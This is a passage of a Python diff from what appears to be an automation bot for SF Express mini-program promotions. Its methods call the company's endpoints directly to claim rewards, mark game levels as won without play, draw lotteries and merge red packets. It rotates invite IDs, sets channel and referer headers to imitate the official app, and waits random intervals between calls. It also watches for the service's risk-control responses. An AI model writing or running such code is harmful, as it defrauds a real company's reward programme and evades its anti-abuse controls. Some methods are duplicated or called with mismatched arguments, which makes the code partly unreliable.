task['taskType'], + 'activityCode': 'ANNIVERSARY_2024', + 'channelType': 'MINI_PROGRAM' + } + response = self.do_request(url, data) + if response and response.get('success'): + reward_info = response.get('obj', {}).get('account', {}) + received_list = [f"[{item['currency']}]X{item['amount']}" for item in + reward_info.get('receivedAccountList', [])] + turned_award = reward_info.get('turnedAward', {}) + if turned_award.get('productName'): + received_list.append(f"[优惠券]{turned_award['productName']}") + print('领取任务[%s]奖励: %s' % (task['taskName'], ', '.join(received_list))) + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print('领取任务[%s]奖励失败: %s' % (task['taskName'], error_message)) + if '用户手机号校验未通过' in error_message: + self.anniversary_black = True + + def anniversary2024_unbox(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~unbox' + response = self.do_request(url, {}) + if response and response.get('success'): + account_info = response.get('obj', {}).get('account', {}) + unbox_list = [f"[{item['currency']}]X{item['amount']}" for item in + account_info.get('receivedAccountList', [])] + print('拆盒子: %s' % ', '.join(unbox_list) or '空气') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print('拆盒子失败: %s' % error_message) + if '用户手机号校验未通过' in error_message: + self.anniversary_black = True + + def anniversary2024_game_list(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GameParkService~list' + response = self.do_request(url, {}) + try: + if response['success']: + topic_pk_info = response['obj'].get('topicPKInfo', {}) + search_word_info = response['obj'].get('searchWordInfo', {}) + happy_elimination_info = response['obj'].get('happyEliminationInfo', {}) + + if not topic_pk_info.get('isPassFlag'): + print('开始话题PK赛') + # 这里调用话题PK赛列表相关函数 + self.anniversary2024_TopicPk_topicList() + + if not search_word_info.get('isPassFlag') or not search_word_info.get('isFinishDailyFlag'): + print('开始找字游戏') + for i in range(1, 11): + wait_time = random.randint(1000, 3000) / 1000.0 # 转换为秒 + time.sleep(wait_time) + if not self.anniversary2024_SearchWord_win(i): + break + + if not happy_elimination_info.get('isPassFlag') or not happy_elimination_info.get('isFinishDailyFlag'): + print('开始消消乐') + for i in range(1, 31): + wait_time = random.randint(2000, 4000) / 1000.0 # 转换为秒 + time.sleep(wait_time) + if not self.anniversary2024_HappyElimination_win(i): + break + else: + error_message = response['errorMessage'] or json.dumps(response) or '无返回' + print('查询游戏状态失败: ' + error_message) + if '用户手机号校验未通过' in error_message: + self.anniversary_black = True + except Exception as e: + print(str(e)) + + def anniversary2024_SearchWord_win(self, index): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024SearchWordService~win' + success = True + try: + data = {'index': index} + response = self.do_request(url, data) + if response and response.get('success'): + currency_list = response.get('obj', {}).get('currencyDTOList', []) + rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_list]) + print(f'找字游戏第{index}关通关成功: {rewards if rewards else "未获得奖励"}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'找字游戏第{index}关失败: {error_message}') + if '系统繁忙' in error_message: + success = False + except Exception as e: + print(e) + finally: + return success + + def anniversary2024_HappyElimination_win(self, index): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024HappyEliminationService~win' + success = True + data = {'index': index} + response = self.do_request(url, data) + try: + if response and response.get('success'): + is_award = response['obj'].get('isAward') + currency_dto_list = response['obj'].get('currencyDTOList', []) + rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_dto_list]) + print(f'第{index}关通关: {rewards if rewards else "未获得奖励"}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'第{index}关失败: {error_message}') + if '系统繁忙' in error_message: + success = False + except Exception as e: + print(e) + success = False + finally: + return success + + def anniversary2024_TopicPk_chooseSide(self, index): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~chooseSide' + success = True + data = {'index': index, 'choose': 0} # 选择某一边 + response = self.do_request(url, data) + try: + if response and response.get('success'): + currency_dto_list = response['obj'].get('currencyDTOList', []) + rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_dto_list]) + print(f'话题PK赛选择话题{index}成功: {rewards if rewards else "未获得奖励"}') + else: + error_message = response['errorMessage'] or json.dumps(response) or '无返回' + print(f'话题PK赛选择话题{index}失败: {error_message}') + if '系统繁忙' in error_message: + success = False + except Exception as e: + print(e) + success = False + finally: + return success + + def anniversary2024_TopicPk_topicList(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~topicList' + response = self.do_request(url, {}) + try: + if response and response.get('success'): + topics = response['obj'].get('topics', []) + for topic in topics: + if not topic.get('choose'): + index = topic.get('index', 1) + wait_time = random.randint(2000, 4000) / 1000.0 # 转换为秒 + time.sleep(wait_time) # 等待 + if not self.anniversary2024_TopicPk_chooseSide(index): + break + else: + error_message = response['errorMessage'] or json.dumps(response) or '无返回' + print(f'查询话题PK赛记录失败: {error_message}') + except Exception as e: + print(e) + + def anniversary2024_queryAccountStatus_refresh(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~queryAccountStatus' + response = self.do_request(url, {}) + try: + if not response or not response.get('success'): + error_message = response['errorMessage'] or json.dumps(response) or '无返回' + print(f'查询账户状态失败: {error_message}') + except Exception as e: + print(e) + + def anniversary2024_TopicPk_chooseSide(self, index): + success = True + data = { + 'index': index, + 'choose': 0 + } + self.headers['channel'] = '31annizyw' + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~chooseSide' + result = self.do_request(url, data, 'post') + + if result and result.get('success'): + currency_dto_list = result.get('obj', {}).get('currencyDTOList', []) + if currency_dto_list: + rewards = [f"[{currency['currency']}]{currency['amount']}次" for currency in currency_dto_list] + print(f'话题PK赛第{index}个话题选择成功: {", ".join(rewards)}') + else: + print(f'话题PK赛第{index}个话题选择成功') + else: + error_message = result.get('errorMessage') if result else '无返回' + print(f'话题PK赛第{index}个话题失败: {error_message}') + if error_message and '系统繁忙' in error_message: + success = False + + return success + + def anniversary2024_titleList(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~titleList' + response = self.do_request(url) + + if response and response.get('success'): + + guess_title_info_list = response.get('obj', {}).get('guessTitleInfoList', []) + today_titles = [title for title in guess_title_info_list if title['gameDate'] == self.today] + for title_info in today_titles: + if title_info['answerStatus']: + print('今日已回答过竞猜') + else: + answer = self.answer + if answer: + self.anniversary2024_answer(title_info, answer) + print(f'进行了答题: {answer}') + else: + error_message = response.get('errorMessage') if response else '无返回' + print(f'查询每日口令竞猜失败: {error_message}') + + def anniversary2024_titleList_award(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~titleList' + response = self.do_request(url) + + if response and response.get('success'): + + guess_title_info_list = response.get('obj', {}).get('guessTitleInfoList', []) + today_awards = [title for title in guess_title_info_list if title['gameDate'] == self.today] + + for award_info in today_awards: + if award_info['answerStatus']: + awards = award_info.get('awardList', []) + award_info.get('puzzleList', []) + awards_description = ', '.join([f"{award['productName']}" for award in awards]) + print(f'口令竞猜奖励: {awards_description}' if awards_description else '今日无奖励') + else: + print('今日还没回答竞猜') + else: + error_message = response.get('errorMessage') if response else '无返回' + print(f'查询每日口令竞猜奖励失败: {error_message}') + + # 向API发送答题请求 + def anniversary2024_answer(self, answer_info): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~answer' + data = {'period': answer_info['period'], 'answerInfo': answer_info} + response = self.do_request(url, data) + if response and response.get('success'): + print('口令竞猜回答成功') + self.anniversary2024_titleList_award() # 通过奖励接口验证答案 + else: + error_message = response.get('errorMessage') if response else '无返回' + print(f'口令竞猜回答失败: {error_message}') + + # 查询账户状态 + def anniversary2024_queryAccountStatus(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~queryAccountStatus' + result = self.do_request(url) + if result.get('success'): + account_currency_list = result.get('obj', {}).get('accountCurrencyList', []) + unbox_chance_currency = [currency for currency in account_currency_list if + currency.get('currency') == 'UNBOX_CHANCE'] + unbox_chance_balance = unbox_chance_currency[0].get('balance') if unbox_chance_currency else 0 + + # print('可以拆' + str(unbox_chance_balance) + '次盒子') + # while unbox_chance_balance > 0: + # self.anniversary2024_unbox() + # unbox_chance_balance -= 1 + else: + error_message = result.get('errorMessage') or json.dumps(result) or '无返回' + print('查询已收集拼图失败: ' + error_message) + + result = self.do_request(url) + if result.get('success'): + account_currency_list = result.get('obj', {}).get('accountCurrencyList', []) + account_currency_list = [currency for currency in account_currency_list if + currency.get('currency') != 'UNBOX_CHANCE'] + if account_currency_list: + cards_li = account_currency_list + card_info = [] + self.cards = { + 'CARD_1': 0, + 'CARD_2': 0, + 'CARD_3': 0, + 'CARD_4': 0, + 'CARD_5': 0, + 'CARD_6': 0, + 'CARD_7': 0, + 'CARD_8': 0, + 'CARD_9': 0, + 'COMMON_CARD': 0 + } + for card in cards_li: + currency_key = card.get('currency') + if currency_key in self.cards: + self.cards[currency_key] = int(card.get('balance')) + card_info.append('[' + card.get('currency') + ']X' + str(card.get('balance'))) + + Log(f'已收集拼图: {card_info}') + cards_li.sort(key=lambda x: x.get('balance'), reverse=True) + + else: + print('还没有收集到拼图') + else: + error_message = result.get('errorMessage') or json.dumps(result) or '无返回' + print('查询已收集拼图失败: ' + error_message) + + def do_draw(self, cards): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~collectDrawAward' + data = {"accountList": cards} + response = self.do_request(url, data) + if response and response.get('success'): + data = response.get('obj', {}) + productName = data.get('productName', '') + Log(f'抽奖成功,获得{productName}') + return True + else: + error_message = response.get('errorMessage') if response else '无返回' + print(f'抽奖失败: {error_message}') + return False + + def convert_common_card(self, cards, target_card): + # 如果共通卡(COMMON_CARD)的数量大于0,转化成目标卡 + if cards['COMMON_CARD'] > 0: + cards['COMMON_CARD'] -= 1 + cards[target_card] += 1 + return True + return False + + def can_draw(self, cards, n): + # 判断是否有足够的不同卡进行抽奖 + distinct_cards = sum(1 for card, amount in cards.items() if card != 'COMMON_CARD' and amount > 0) + return distinct_cards >= n + + def draw(self, cards, n): + drawn_cards = [] + for card, amount in sorted(cards.items(), key=lambda item: item[1]): + if card != 'COMMON_CARD' and amount > 0: + cards[card] -= 1 + drawn_cards.append(card) + if len(drawn_cards) == n: + break + if len(drawn_cards) == n: + "没有足够的卡进行抽奖" + if self.do_draw(drawn_cards): + return drawn_cards # 返回本次抽奖使用的卡 + else: + return None + + def simulate_lottery(self, cards): + while self.can_draw(cards, 9): + used_cards = self.draw(cards, 9) + print("进行了一次9卡抽奖,消耗卡片: ", used_cards) + while self.can_draw(cards, 7) or self.convert_common_card(cards, 'CARD_1'): + if not self.can_draw(cards, 7): + continue + used_cards = self.draw(cards, 7) + print("进行了一次7卡抽奖,消耗卡片: ", used_cards) + while self.can_draw(cards, 5) or self.convert_common_card(cards, 'CARD_1'): + if not self.can_draw(cards, 5): + continue + used_cards = self.draw(cards, 5) + print("进行了一次5卡抽奖,消耗卡片: ", used_cards) + while self.can_draw(cards, 3) or self.convert_common_card(cards, 'CARD_1'): + if not self.can_draw(cards, 3): + continue + used_cards = self.draw(cards, 3) + print("进行了一次3卡抽奖,消耗卡片: ", used_cards) + + def anniversary2024_task(self): + self.anniversary2024_weekly_gift_status() + if self.anniversary_black: + return + # self.anniversary2024_titleList() + # self.anniversary2024_game_list() + # self.anniversary2024_taskList() + self.anniversary2024_queryAccountStatus() + target_time = datetime(2024, 4, 3, 14, 0) + # self.simulate_lottery(self.cards) + if datetime.now() > target_time: + print('周年庆活动即将结束,开始自动抽奖') + self.simulate_lottery(self.cards) + else: + print('未到自动抽奖时间') + + def member_day_index(self): + print('====== 会员日活动 ======') + try: + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + payload = {'inviteUserId': invite_user_id} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~index' + + response = self.do_request(url, data=payload) + if response.get('success'): + lottery_num = response.get('obj', {}).get('lotteryNum', 0) + can_receive_invite_award = response.get('obj', {}).get('canReceiveInviteAward', False) + if can_receive_invite_award: + self.member_day_receive_invite_award(invite_user_id) + self.member_day_red_packet_status() + Log(f'会员日可以抽奖{lottery_num}次') + for _ in range(lottery_num): + self.member_day_lottery() + if self.member_day_black: + return + self.member_day_task_list() + if self.member_day_black: + return + self.member_day_red_packet_status() + else: + error_message = response.get('errorMessage', '无返回') + Log(f'查询会员日失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_receive_invite_award(self, invite_user_id): + try: + payload = {'inviteUserId': invite_user_id} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~receiveInviteAward' + + response = self.do_request(url, payload) + if response.get('success'): + product_name = response.get('obj', {}).get('productName', '空气') + Log(f'会员日奖励: {product_name}') + else: + error_message = response.get('errorMessage', '无返回') + Log(f'领取会员日奖励失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_lottery(self): + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayLotteryService~lottery' + + response = self.do_request(url, payload) + if response.get('success'): + product_name = response.get('obj', {}).get('productName', '空气') + Log(f'会员日抽奖: {product_name}') + else: + error_message = response.get('errorMessage', '无返回') + Log(f'会员日抽奖失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_task_list(self): + try: + payload = {'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, payload) + if response.get('success'): + task_list = response.get('obj', []) + for task in task_list: + if task['status'] == 1: + if self.member_day_black: + return + self.member_day_fetch_mix_task_reward(task) + for task in task_list: + if task['status'] == 2: + if self.member_day_black: + return + if task['taskType'] in ['SEND_SUCCESS', 'INVITEFRIENDS_PARTAKE_ACTIVITY', 'OPEN_SVIP', + 'OPEN_NEW_EXPRESS_CARD', 'OPEN_FAMILY_CARD', 'CHARGE_NEW_EXPRESS_CARD', + 'INTEGRAL_EXCHANGE']: + pass + else: + for _ in range(task['restFinishTime']): + if self.member_day_black: + return + self.member_day_finish_task(task) + else: + error_message = response.get('errorMessage', '无返回') + Log('查询会员日任务失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_finish_task(self, task): + try: + payload = {'taskCode': task['taskCode']} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + + response = self.do_request(url, payload) + if response.get('success'): + Log('完成会员日任务[' + task['taskName'] + ']成功') + self.member_day_fetch_mix_task_reward(task) + else: + error_message = response.get('errorMessage', '无返回') + Log('完成会员日任务[' + task['taskName'] + ']失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_fetch_mix_task_reward(self, task): + try: + payload = {'taskType': task['taskType'], 'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~fetchMixTaskReward' + + response = self.do_request(url, payload) + if response.get('success'): + Log('领取会员日任务[' + task['taskName'] + ']奖励成功') + else: + error_message = response.get('errorMessage', '无返回') + Log('领取会员日任务[' + task['taskName'] + ']奖励失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_receive_red_packet(self, hour): + try: + payload = {'receiveHour': hour} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayTaskService~receiveRedPacket' + + response = self.do_request(url, payload) + if response.get('success'): + print(f'会员日领取{hour}点红包成功') + else: + error_message = response.get('errorMessage', '无返回') + print(f'会员日领取{hour}点红包失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_status(self): + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketStatus' + response = self.do_request(url, payload) + if response.get('success'): + packet_list = response.get('obj', {}).get('packetList', []) + for packet in packet_list: + self.member_day_red_packet_map[packet['level']] = packet['count'] + + for level in range(1, self.max_level): + count = self.member_day_red_packet_map.get(level, 0) + while count >= 2: + self.member_day_red_packet_merge(level) + count -= 2 + packet_summary = [] + remaining_needed = 0 + + for level, count in self.member_day_red_packet_map.items(): + if count == 0: + continue + packet_summary.append(f"[{level}级]X{count}") + int_level = int(level) + if int_level < self.max_level: + remaining_needed += 1 << (int_level - 1) + + Log("会员日合成列表: " + ", ".join(packet_summary)) + + if self.member_day_red_packet_map.get(self.max_level): + Log(f"会员日已拥有[{self.max_level}级]红包X{self.member_day_red_packet_map[self.max_level]}") + self.member_day_red_packet_draw(self.max_level) + else: + remaining = self.packet_threshold - remaining_needed + Log(f"会员日距离[{self.max_level}级]红包还差: [1级]红包X{remaining}") + + else: + error_message = response.get('errorMessage', '无返回') + Log(f'查询会员日合成失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_merge(self, level): + try: + # for key,level in enumerate(self.member_day_red_packet_map): + # pass + payload = {'level': level, 'num': 2} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketMerge' + + response = self.do_request(url, payload) + if response.get('success'): + Log(f'会员日合成: [{level}级]红包X2 -> [{level + 1}级]红包') + self.member_day_red_packet_map[level] -= 2 + if not self.member_day_red_packet_map.get(level + 1): + self.member_day_red_packet_map[level + 1] = 0 + self.member_day_red_packet_map[level + 1] += 1 + else: + error_message = response.get('errorMessage', '无返回') + Log(f'会员日合成两个[{level}级]红包失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_draw(self, level): + try: + payload = {'level': str(level)} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketDraw' + response = self.do_request(url, payload) + if response and response.get('success'): + coupon_names = [item['couponName'] for item in response.get('obj', [])] or [] + + Log(f"会员日提取[{level}级]红包: {', '.join(coupon_names) or '空气'}") + else: + error_message = response.get('errorMessage') if response else "无返回" + Log(f"会员日提取[{level}级]红包失败: {error_message}") + if "没有资格参与活动" in error_message: + self.memberDay_black = True + print("会员日任务风控") + except Exception as e: + print(e) + + def DRAGONBOAT_2024_index(self): + print('====== 查询龙舟活动状态 ======') + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + try: + self.headers['channel'] = 'newExpressWX' + self.headers[ + 'referer'] = f'https://mcs-mimp-web.sf-express.com/origin/a/mimp-activity/dragonBoat2024?mobile={self.mobile}&userId={self.user_id}&path=/origin/a/mimp-activity/dragonBoat2024&supportShare=&inviteUserId={invite_user_id}&from=newExpressWX' + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~dragonBoat2024IndexService~index' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + acEndTime = obj.get('acEndTime', '') + # 获取当前时间并格式化 + current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + comparison_time = datetime.strptime(acEndTime, "%Y-%m-%d %H:%M:%S") + # 比较当前时间是否小于比较时间 + is_less_than = datetime.now() < comparison_time + if is_less_than: + print('龙舟游动进行中....') + return True + else: + print('龙舟活动已结束') + return False + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def DRAGONBOAT_2024_Game_indexInfo(self): + Log('====== 开始划龙舟游戏 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024GameService~indexInfo' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + maxPassLevel = obj.get('maxPassLevel', '') + ifPassAllLevel = obj.get('ifPassAllLevel', '') + if maxPassLevel != 30: + self.DRAGONBOAT_2024_win(maxPassLevel) + else: + self.DRAGONBOAT_2024_win(0) + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def DRAGONBOAT_2024_Game_init(self): + Log('====== 开始划龙舟游戏 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024GameService~init' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + currentIndex = obj.get('currentIndex', '') + ifPassAllLevel = obj.get('ifPassAllLevel', '') + if currentIndex != 30: + self.DRAGONBOAT_2024_win(currentIndex) + else: + self.DRAGONBOAT_2024_win(0) + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def DRAGONBOAT_2024_weeklyGiftStatus(self): + print('====== 查询每周礼包领取状态 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024IndexService~weeklyGiftStatus' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + for gift in obj: + received = gift['received'] + receiveStartTime = gift['receiveStartTime'] + receiveEndTime = gift['receiveEndTime'] + print(f'>>> 领取时间:【{receiveStartTime} 至 {receiveEndTime}】') + if received: + print('> 该礼包已领取') + continue + receive_start_time = datetime.strptime(receiveStartTime, "%Y-%m-%d %H:%M:%S") + receive_end_time = datetime.strptime(receiveEndTime, "%Y-%m-%d %H:%M:%S") + is_within_range = receive_start_time <= datetime.now() <= receive_end_time + if is_within_range: + print(f'>> 开始领取礼包:') + self.DRAGONBOAT_2024_receiveWeeklyGift() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_receiveWeeklyGift(self): + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + try: + payload = {"inviteUserId": invite_user_id} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024IndexService~receiveWeeklyGift' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + if obj == [{}]: + print('> 领取失败') + return False + for gifts in obj: + productName = gifts['productName'] + amount = gifts['amount'] + print(f'> 领取【{productName} x {amount}】成功') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_taskList(self): + print('====== 查询推币任务列表 ======') + try: + payload = { + "activityCode": "DRAGONBOAT_2024", + "channelType": "MINI_PROGRAM" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + for task in obj: + taskType = task['taskType'] + self.taskName = task['taskName'] + status = task['status'] + if status == 3: + Log(f'> 任务【{self.taskName}】已完成') + continue + self.taskCode = task.get('taskCode', None) + if self.taskCode: + self.DRAGONBOAT_2024_finishTask() + if taskType == 'PLAY_ACTIVITY_GAME': + self.DRAGONBOAT_2024_Game_init() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_coinStatus(self, END=False): + Log('====== 查询金币信息 ======') + # try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024CoinService~coinStatus' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', None) + if obj == None: return False + accountCurrencyList = obj.get('accountCurrencyList', []) + pushedTimesToday = obj.get('pushedTimesToday', '') + pushedTimesTotal = obj.get('pushedTimesTotal', '') + PUSH_TIMES_balance = 0 + self.COIN_balance = 0 + WELFARE_CARD_balance = 0 + for li in accountCurrencyList: + if li['currency'] == 'PUSH_TIMES': + PUSH_TIMES_balance = li['balance'] + if li['currency'] == 'COIN': + self.COIN_balance = li['balance'] + if li['currency'] == 'WELFARE_CARD': + WELFARE_CARD_balance = li['balance'] + + PUSH_TIMES = PUSH_TIMES_balance + if END: + if PUSH_TIMES_balance > 0: + for i in range(PUSH_TIMES_balance): + print(f'>> 开始第【{PUSH_TIMES_balance + 1}】次推币') + self.DRAGONBOAT_2024_pushCoin() + PUSH_TIMES -= 1 + pushedTimesToday += 1 + pushedTimesTotal += 1 + Log(f'> 剩余推币次数:【{PUSH_TIMES}】') + Log(f'> 当前金币:【{self.COIN_balance}】') + # Log(f'> 当前发财卡:【{WELFARE_CARD_balance}】') + Log(f'> 今日推币:【{pushedTimesToday}】次') + Log(f'> 总推币:【{pushedTimesTotal}】次') + else: + print(f'> 剩余推币次数:【{PUSH_TIMES_balance}】') + print(f'> 当前金币:【{self.COIN_balance}】') + # Log(f'> 当前发财卡:【{WELFARE_CARD_balance}】') + print(f'> 今日推币:【{pushedTimesToday}】次') + print(f'> 总推币:【{pushedTimesTotal}】次') + + self.DRAGONBOAT_2024_givePushTimes() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + # except Exception as e: + # print(e) + + def DRAGONBOAT_2024_pushCoin(self): + try: + payload = {"plateToken": None} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024CoinService~pushCoin' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + drawAward = obj.get('drawAward', '') + self.COIN_balance += drawAward + print(f'> 获得:【{drawAward}】金币') + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_givePushTimes(self): + Log('====== 领取赠送推币次数 ======') + try: + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024CoinService~givePushTimes' + + response = self.do_request(url) + # print(response) + if response.get('success'): + obj = response.get('obj', 0) + print(f'> 获得:【{obj}】次推币机会') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('> 会员日任务风控') + print(error_message) + except Exception as e: + print(e) + + def DRAGONBOAT_2024_finishTask(self): + try: + payload = { + "taskCode": self.taskCode + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', False) + Log(f'> 完成任务【{self.taskName}】成功') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_win(self, level): + try: + for i in range(level, 31): + print(f'开始第【{i}】关') + payload = {"levelIndex": i} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024GameService~win' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + currentAwardList = obj.get('currentAwardList', []) + if currentAwardList != []: + for award in currentAwardList: + currency = award.get('currency', '') + amount = award.get('amount', '') + print(f'> 获得:【{currency}】x{amount}') + else: + print(f'> 本关无奖励') + # random_time =random.randint(10,15) + # print(f'>> 等待{random_time}秒 <<') + # time.sleep(random_time) + else: + error_message = response.get('errorMessage', '无返回') + print(error_message) + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + + def MIDAUTUMN_2024_index(self): + print('====== 查询中秋活动状态 ======') + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + try: + self.headers['channel'] = '24zqxcx' + self.headers[ + 'referer'] = f'https://mcs-mimp-web.sf-express.com/origin/a/mimp-activity/midAutumn2024?mobile={self.mobile}&userId={self.user_id}&path=/origin/a/mimp-activity/midAutumn2024&supportShare=&inviteUserId={invite_user_id}&from=24zqxcx' + payload = {} + url = 